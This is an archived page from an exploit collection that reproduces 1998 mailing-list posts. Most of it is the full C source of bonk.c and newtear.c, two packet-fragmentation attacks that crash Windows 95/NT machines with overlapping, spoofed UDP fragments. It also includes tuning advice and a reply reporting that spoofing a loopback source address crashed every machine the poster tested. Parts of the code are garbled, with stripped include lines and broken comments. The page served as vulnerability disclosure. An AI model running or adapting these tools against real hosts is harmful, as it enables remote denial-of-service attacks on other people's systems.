The "Bonk" NT/Win95 fragmentation attack (original) (raw)

Summary
Description: In an attack that is basically the reverse of the teardrop attack, Windows machines that are patched for teardrop can be crashed.
Author: bendi
Compromise: crash Windoze machines remotely
Vulnerable Systems: Windows 95, Windowsw NT
Date: 5 January 1998
Details

Date: Thu, 8 Jan 1998 15:17:11 -0600 From: Aleph One aleph1@DFW.NET To: BUGTRAQ@NETSPACE.ORG Subject: bonk.c

Goodies from rootsell.com

http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199801/bonk.c

/*

[ http://www.rootshell.com/ ]

                            ==bendi - 1998==

                    bonk.c        -         5/01/1998
    Based On: teardrop.c by route|daemon9 & klepto
    Crashes *patched* win95/(NT?) machines.

    Basically, we set the frag offset > header length (teardrop
    reversed). There are many theories as to why this works,
    however i do not have the resources to perform extensive testing.
    I make no warranties. Use this code at your own risk.
    Rip it if you like, i've had my fun.

*/

#include <stdio.h> #include <string.h>

#include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_udp.h> #include <netinet/protocols.h> #include <arpa/inet.h>

#define FRG_CONST 0x3 #define PADDING 0x1c

struct udp_pkt { struct iphdr ip; struct udphdr udp; char data[PADDING]; } pkt;

int udplen=sizeof(struct udphdr), iplen=sizeof(struct iphdr), datalen=100, psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING, spf_sck; /* Socket */

void usage(void) { fprintf(stderr, "Usage: ./bonk [num]\n"); exit(0); }

u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res;

    res = gethostbyname(host_name);
    if (res == NULL)
            return (0);
    memcpy(&ip_bytes, res->h_addr, res->h_length);
    return (ip_bytes);

}

void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); }

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt) { int bs; struct sockaddr_in to;

    memset(&pkt, 0, psize);
                                            /* Fill in ip header */
    pkt.ip.version = 4;
    pkt.ip.ihl = 5;
    pkt.ip.tot_len = htons(udplen + iplen + PADDING);
    pkt.ip.id = htons(0x455);
    pkt.ip.ttl = 255;
    pkt.ip.protocol = IP_UDP;
    pkt.ip.saddr = src_addr;
    pkt.ip.daddr = dst_addr;
    pkt.ip.frag_off = htons(0x2000);        /* more to come */

    pkt.udp.source = htons(src_prt);        /* udp header */
    pkt.udp.dest = htons(dst_prt);
    pkt.udp.len = htons(8 + PADDING);
                                            /* send 1st frag */

    to.sin_family = AF_INET;
    to.sin_port = src_prt;
    to.sin_addr.s_addr = dst_addr;

    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
            sizeof(struct sockaddr));

    pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
    pkt.ip.tot_len = htons(iplen + FRG_CONST);
                                                    /* 2nd frag */

    bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
            (struct sockaddr *) &to, sizeof(struct sockaddr));

    return bs;

}

void main(int argc, char *argv[]) { u_long src_addr, dst_addr;

    int     i,
            src_prt=53,
            dst_prt=53,
            bs = 1,
            pkt_count = 10;         /* Default amount */

    if (argc < 3)
            usage();

    if (argc == 4)
            pkt_count = atoi(argv[3]);      /* 10 does the trick */

    /* Resolve hostnames */

    src_addr = host_to_ip(argv[1]);
    if (!src_addr)
            quit("bad source host");
    dst_addr = host_to_ip(argv[2]);
    if (!dst_addr)
            quit("bad target host");

    spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (!spf_sck)
            quit("socket()");
    if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
    sizeof(bs)) < 0)
            quit("IP_HDRINCL");

    for (i = 0; i < pkt_count; ++i)
    {
            fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
            usleep(10000);
    }

    printf("Done.\n");

}

Date: Sat, 10 Jan 1998 22:19:09 -0500 From: Jord Sonneveld jsonneve@force.stwing.upenn.edu To: BUGTRAQ@NETSPACE.ORG Subject: Re: bonk.c

Using boink.c (a modified bonk, available from http://www.rootshell.com), I noticed that not all Win95/NT boxes come to a screeching halt. Sometimes, 95 and NT time out for a while, mouse moves slow, etc. I have only tested this on machines with ALL the latest patches applied. The machines were pretty much identical and I do not know why some timed out and some crashed with regular boink.

However, when I specified 127.0.0.1 as the source address for the packet, I got a very pretty blue screen in every case (which for me is five 95 boxes and four NT boxes).

My options for boink scanned between ports 1 and 27000, sending 1 packet.

J\S


Date: Thu, 8 Jan 1998 23:24:22 -0700 To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Source for NEWTEAR.C

Since the source for BORK.C has already been posted, and it is slightly different from the source I used to find the exploit originally, and because MANY people have mentioned that they would have wanted source to test/verify this problem, I'm posting my source here as well just to make sure that both issues are fully resolved.

For the record, Microsoft received this same source this morning at about 2am.

You must be ROOT on a unix machine to open raw sockets.

I don't know what one could do to protect against this, it uses fragmented UDP packets sent to random ports.

Here it is...

Jiva DeVoe MCSE Devware

--------------B9381F7F087554B62D7CA818 Content-Type: text/plain; charset=us-ascii; name="newtear.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="newtear.c"

/* Newtear.c

#include #include #include #include #include #include #include #include #include #include #include

#ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 / #define FIX(n) (n) #else / OpenBSD 2.1, all Linux / #define FIX(n) htons(n) #endif / STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route / #define IPH 0x14 / IP header size / #define UDPH 0x8 / UDP header size / #define PADDING 0x14 / datagram frame padding for first packet / / JD Change pad size to 20 decimal. / #define MAGIC 0x3 / Magic Fragment Constant (tm). Should be 2 or 3 / #define COUNT 0x1 / Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr;

fprintf(stderr, "teardrop   route|daemon9\n\n");

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
    perror("raw socket");
    exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
    < 0)
{
    perror("IP_HDRINCL");
    exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
    fprintf(stderr, "What the hell kind of IP address is that?\n");
    exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
    switch (i)
    {
        case 's':               /* source port (should be emphemeral) */
            src_prt = (u_short)atoi(optarg);
            break;
        case 't':               /* dest port (DNS, anyone?) */
            dst_prt = (u_short)atoi(optarg);
            break;
        case 'n':               /* number to send */
            count   = atoi(optarg);
            break;
        default :
            usage(argv[0]);
            break;              /* NOTREACHED */
    }
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)   count   = COUNT;

fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
    send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
    fprintf(stderr, "b00m ");
    usleep(500);
}
fprintf(stderr, "]\n");
return (0);

}

/*

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, p_ptr = NULL; / packet pointers / u_char byte; / a byte / struct sockaddr_in sin; / socket protocol structure */

sin.sin_family      = AF_INET;
sin.sin_port        = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
 * Grab some memory for our packet, align p_ptr to point at the beginning
 * of our packet, and then fill it with zeros.
 */
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr  = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero

byte = 0x45;                        /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;                         /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242);   /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40;         /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4;                         /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip;        /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING*2);   /* UDP total length */ /* Increases UDP total length to 48 bytes
                                                 Which is too big! */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
            sizeof(struct sockaddr)) == -1)
{
    perror("\nsendto");
    free(packet);
    exit(1);
}

/*  We set the fragment offset to be inside of the previous packet's
 *  payload (it overlaps inside the previous packet) but do not include
 *  enough payload to cover complete the datagram.  Just the header will
 *  do, but to crash NT/95 machines, a bit larger of packet seems to work
 *  better.
 */
p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4;                 /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
            sizeof(struct sockaddr)) == -1)
{
    perror("\nsendto");
    free(packet);
    exit(1);
}
free(packet);

}

u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
    if (!(host_ent = gethostbyname(host_name))) return (0);
    bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);

}

void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); }

/* EOF */

--------------B9381F7F087554B62D7CA818-- /route@infonexus.com/jsonneve@force.stwing.upenn.edu

More Exploits!

The master index of all exploits is availablehere (Very large file)
Or you can pick your favorite operating system:

All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: